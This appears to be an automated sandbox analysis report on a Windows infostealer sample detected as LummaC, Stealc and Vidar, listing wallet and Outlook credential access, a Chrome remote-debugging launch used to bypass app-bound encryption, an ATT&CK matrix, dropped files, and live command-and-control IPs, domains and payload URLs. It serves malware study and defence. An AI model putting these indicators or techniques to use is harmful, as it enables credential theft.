Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Directory queried: C:\Users\user\Documents

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2293899082.0000000001178000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3121894220.0000000000804000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2293784143.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V65xPrgEHH.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: V65xPrgEHH.exe PID: 7284, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2511850219.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3121894220.0000000000731000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA70C40 sqlite3_bind_zeroblob,	13_2_6CA70C40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA70D60 sqlite3_bind_parameter_name,	13_2_6CA70D60
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C998EA0 sqlite3_clear_bindings,	13_2_6C998EA0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA70B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	13_2_6CA70B40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C996410 bind,WSAGetLastError,	13_2_6C996410
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9960B0 listen,WSAGetLastError,	13_2_6C9960B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C99C030 sqlite3_bind_parameter_count,	13_2_6C99C030
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C99C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	13_2_6C99C050
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C996070 PR_Listen,	13_2_6C996070
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9222D0 sqlite3_bind_blob,	13_2_6C9222D0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9963C0 PR_Bind,	13_2_6C9963C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C999480 sqlite3_bind_null,	13_2_6C999480
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9994C0 sqlite3_bind_text,	13_2_6C9994C0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9994F0 sqlite3_bind_text16,	13_2_6C9994F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C999400 sqlite3_bind_int64,	13_2_6C999400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
V65xPrgEHH.exe	54%	Virustotal		Browse
V65xPrgEHH.exe	53%	ReversingLabs	Win32.Trojan.Symmi
V65xPrgEHH.exe	100%	Avira	TR/Crypt.XPACK.Gen
V65xPrgEHH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\GIEHIDHJDB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\GIEHIDHJDB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Documents\GIEHIDHJDB.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label	Link
https://sweepyribs.lat:443/apil	0%	Avira URL Cloud	safe
necklacebudi.lat	0%	Avira URL Cloud	safe
http://185.215.113.16/#6	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exeK	0%	Avira URL Cloud	safe
aspecteirs.lat	0%	Avira URL Cloud	safe
sweepyribs.lat	0%	Avira URL Cloud	safe
https://sweepyribs.lat/	0%	Avira URL Cloud	safe
https://sweepyribs.lat/api	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe-y	0%	Avira URL Cloud	safe
http://185.215.113.206c4becf79229cb002.phpcac4be27adde77b6f1e82f2e2fd2lt-release	0%	Avira URL Cloud	safe
http://185.215.113.16/#6	22%	Virustotal		Browse
http://185.215.113.206/68b591d6548ec281/sqlite3.dllh)	100%	Avira URL Cloud	malware
sustainskelet.lat	0%	Avira URL Cloud	safe
crosshuaht.lat	0%	Avira URL Cloud	safe
rapeflowwj.lat	0%	Avira URL Cloud	safe
http://185.215.113.16/E6	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php%-j	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phprefox	100%	Avira URL Cloud	malware
http://185.215.113.16:80/steam/random.exe117-2476756634-1003	0%	Avira URL Cloud	safe
https://sweepyribs.lat/apip	0%	Avira URL Cloud	safe
https://sweepyribs.lat/apix	0%	Avira URL Cloud	safe
https://sweepyribs.lat:443/apiWdtPWdtP	0%	Avira URL Cloud	safe
energyaffai.lat	0%	Avira URL Cloud	safe
https://sweepyribs.lat/apib	0%	Avira URL Cloud	safe
https://sweepyribs.lat//%w	0%	Avira URL Cloud	safe
http://185.215.113.206a&AX:	0%	Avira URL Cloud	safe
https://sweepyribs.lat:443/api	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeXy	0%	Avira URL Cloud	safe
https://sweepyribs.lat/apikamckn	0%	Avira URL Cloud	safe
grannyejh.lat	0%	Avira URL Cloud	safe
discokeyus.lat	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exesD$)	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dllL)	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	172.217.17.46	true	false	high
sweepyribs.lat	104.21.2.110	true	false	high
www.google.com	142.250.181.132	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.58.99	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tse1.mm.bing.net/th?id=OADD2.10239356671168_16FGHU1WN2XYJHSC0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false		high
http://185.215.113.206/	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239381881833_1L2KODT1PKU230D6J&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false		high
necklacebudi.lat	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
aspecteirs.lat	true	Avira URL Cloud: safe	unknown
https://sweepyribs.lat/api	true	Avira URL Cloud: safe	unknown
sweepyribs.lat	true	Avira URL Cloud: safe	unknown
https://tse1.mm.bing.net/th?id=OADD2.10239381881832_16Z99FCNYK3WFB5MY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239356671167_19HPP7IIREEX4KA57&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
sustainskelet.lat	true	Avira URL Cloud: safe	unknown
crosshuaht.lat	true	Avira URL Cloud: safe	unknown
rapeflowwj.lat	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
https://www.google.com/async/newtab_promos	false		high
energyaffai.lat	true	Avira URL Cloud: safe	unknown
https://tse1.mm.bing.net/th?id=OADD2.10239317301351_1SVL46QI5QTJ6JJDI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239317300918_15BUPXQMJSKX4T12A&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false		high
grannyejh.lat	true	Avira URL Cloud: safe	unknown
discokeyus.lat	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://www.broofa.com	chromecache_176.15.dr	false		high
https://sweepyribs.lat:443/apil	V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001195000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpe	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	false		high
http://185.215.113.16/mine/random.exeK	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exe	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/#6	V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpm	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
http://185.215.113.206c4becf79229cb002.phpcac4be27adde77b6f1e82f2e2fd2lt-release	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: safe	unknown
